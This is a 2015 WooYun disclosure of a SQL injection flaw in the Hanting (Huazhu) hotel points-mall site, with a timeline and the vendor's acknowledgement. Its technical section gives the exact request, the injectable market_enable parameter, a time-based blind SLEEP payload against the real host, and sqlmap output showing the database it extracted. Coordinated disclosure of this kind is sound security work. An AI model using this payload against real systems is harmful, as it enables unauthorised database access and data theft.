当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0158539

漏洞标题:汉庭酒店积分商城系统SQL注射漏洞(root权限)

相关厂商:汉庭酒店

漏洞作者: farmer

提交时间:2015-12-05 17:45

修复时间:2016-01-19 23:30

公开时间:2016-01-19 23:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-05: 细节已通知厂商并且等待厂商处理中
2015-12-05: 厂商已经确认,细节仅向厂商公开
2015-12-15: 细节向核心白帽子及相关领域专家公开
2015-12-25: 细节向普通白帽子公开
2016-01-04: 细节向实习白帽子公开
2016-01-19: 细节向公众公开

简要描述:

RT

详细说明:

GET /hmall/webapp/storeCatGoods!listStoreGoodsJson.do?disable=0&market_enable=1&page=1&rows=10&store_id=16&_=1449301268455 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://hmall.huazhu.com:80/
Cookie: JSESSIONID=15DEC9589FC499A4A0014C2C69311945
Host: hmall.huazhu.com


注入参数market_enable

漏洞证明:

---
Parameter: #1* (URI)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://hmall.huazhu.com:80/hmall/webapp/storeCatGoods!listStoreGoodsJson.do?disable=0&market_enable=1 AND (SELECT * FROM (SELECT(SLEEP(5)))OYQx)&page=1&rows=10&store_id=16&_=1449301268455
---
[15:58:16] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.12
[15:58:16] [INFO] fetching current database
[15:58:16] [WARNING] multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically
[15:58:16] [WARNING] time-based comparison requires larger statistical model, please wait..............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[15:59:57] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
[16:00:17] [INFO] adjusting time delay to 4 seconds due to good response times
hmallb2c
current database: 'hmallb2c'
[16:04:09] [INFO] fetched data logged to text files under '/Users/farmer/.sqlmap/output/hmall.huazhu.com'
[*] shutting down at 16:04:09


huazhu303.png

修复方案:

sql过滤

版权声明:转载请注明来源 farmer@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-12-05 23:25

厂商回复:

您好!感谢对华住酒店集团的关注,此问题己移交相关团队跟进处理。

最新状态:

暂无


漏洞评价:

评价

  1. 2015-12-06 00:38 | PgHook ( 普通白帽子 | Rank:981 漏洞数:120 | ...........................................)

    牛逼